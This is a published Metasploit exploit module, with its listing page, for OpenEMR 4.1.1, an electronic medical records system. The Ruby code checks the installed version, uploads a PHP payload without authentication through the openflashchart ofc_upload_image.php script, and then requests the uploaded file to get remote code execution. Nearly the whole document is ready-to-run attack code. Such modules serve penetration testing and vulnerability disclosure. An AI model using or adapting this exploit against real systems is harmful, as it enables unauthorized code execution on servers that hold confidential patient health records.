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OpenEMR PHP File Upload

OpenEMR PHP File Upload
Posted Feb 20, 2013
Authored by juan vazquez, Gjoko Krstic | Site metasploit.com

This Metasploit module exploits a vulnerability found in OpenEMR 4.1.1. By abusing the ofc_upload_image.php file from the openflashchart library, a malicious user can upload a file to the tmp-upload-images directory without any authentication, which results in arbitrary code execution. The module has been tested successfully on OpenEMR 4.1.1 over Ubuntu 10.04.

tags | exploit, arbitrary, php, code execution
systems | linux, ubuntu
advisories | OSVDB-90222
MD5 | c7b131604319426cce134fab1a42a85f

OpenEMR PHP File Upload

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "OpenEMR PHP File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the
ofc_upload_image.php file from the openflashchart library, a malicious user can
upload a file to the tmp-upload-images directory without any authentication, which
results in arbitrary code execution. The module has been tested successfully on
OpenEMR 4.1.1 over Ubuntu 10.04.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gjoko Krstic <gjoko[at]zeroscience.mk>', # Discovery, PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'OSVDB', '90222' ],
[ 'BID', '37314' ],
[ 'EBD', '24492' ],
[ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ],
[ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ]
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['OpenEMR 4.1.1', {}]
],
'Privileged' => false,
'DisclosureDate' => "Feb 13 2013",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr'])
], self.class)
end

def check
uri = target_uri.path
peer = "#{rhost}:#{rport}"

# Check version
print_status("#{peer} - Trying to detect installed version")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "interface", "login", "login.php")
})

if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/
version = $1
else
return Exploit::CheckCode::Unknown
end

print_status("#{peer} - Version #{version} detected")

if version > "4.1.1"
return Exploit::CheckCode::Safe
end

# Check for vulnerable component
print_status("#{peer} - Trying to detect the vulnerable component")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"),
})

if res and res.code == 200 and res.body =~ /Saving your image to/
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Safe
end

def exploit
uri = target_uri.path

peer = "#{rhost}:#{rport}"
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
my_payload = payload.encoded

print_status("#{peer} - Sending PHP payload (#{payload_name})")
res = send_request_raw({
'method' => 'POST',
'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}",
'headers' => { "Content-Length" => my_payload.length.to_s },
'data' => my_payload
})

# If the server returns 200 and the body contains our payload name,
# we assume we uploaded the malicious file successfully
if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/
fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!")
end

register_file_for_cleanup(payload_name)

print_status("#{peer} - Executing PHP payload (#{payload_name})")
# Execute our payload
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name),
})

# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either. Print the status code for debugging purposes.
if res and res.code != 200
print_error("#{peer} - Server returned #{res.code.to_s}")
end
end

end

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